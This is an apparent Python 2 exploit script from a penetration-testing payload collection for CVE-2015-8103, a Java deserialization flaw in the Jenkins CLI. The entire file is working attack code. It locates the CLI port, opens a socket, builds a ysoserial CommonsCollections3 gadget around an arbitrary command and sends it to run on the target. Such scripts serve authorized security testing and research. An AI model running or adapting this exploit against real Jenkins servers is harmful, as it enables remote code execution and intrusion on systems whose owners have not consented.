PayloadsAllTheThings/CVE Exploits/Jenkins CVE-2015-8103.py

#! /usr/bin/env python2

#Jenkins CLI RMI Java Deserialization RCE (CVE-2015-8103)
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
#Made with <3 by @byt3bl33d3r

from __future__ import print_function
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

import socket
import sys
import base64
import argparse
import os
from subprocess import check_output

ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None

parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP:PORT')
parser.add_argument('command', type=str, help='Command to run on target')
parser.add_argument('--proto', choices={'http', 'https'}, default='http', help='Send exploit over http or https (default: http)')
parser.add_argument('--ysoserial-path', metavar='PATH', type=str, help='Path to ysoserial JAR (default: tries current and previous directory)')

if len(sys.argv) < 2:
    parser.print_help()
    sys.exit(1)

args = parser.parse_args()

if not args.ysoserial_path:
    for path in ysoserial_default_paths:
        if os.path.exists(path):
            ysoserial_path = path
else:
    if os.path.exists(args.ysoserial_path):
        ysoserial_path = args.ysoserial_path

if ysoserial_path is None:
    print("[-] Could not find ysoserial JAR file")
    sys.exit(1)

if len(args.target.split(':')) != 2:
    print('[-] Target must be in format IP:PORT')
    sys.exit(1)

if not args.command:
    print('[-] You must specify a command to run')
    sys.exit(1)

host, port = args.target.split(':')

print('[*] Target IP: {}'.format(host))
print('[*] Target PORT: {}'.format(port))
print('\n')

print('[*] Retrieving the Jenkins CLI port')
#Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('{}://{}:{}'.format(args.proto, host, port))
cli_port = int(r.headers['X-Jenkins-CLI-Port'])

#Open a socket to the CLI port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)
print('[*] Connecting to Jenkins CLI on {}:{}'.format(host, cli_port))
sock.connect(server_address)

# Send headers
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
print('[*] Sending headers')
sock.send(headers)

data = sock.recv(1024)
print('[*] Received "{}"'.format(data))

if data.find('JENKINS REMOTING CAPACITY') == -1:
    data = sock.recv(1024)
    print('[*] Received "{}"'.format(data))

payloadObj = check_output(['java', '-jar', ysoserial_path, 'CommonsCollections3', args.command])
payload_b64 = base64.b64encode(payloadObj)
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sock.send(payload)
print('[+] Sent payload')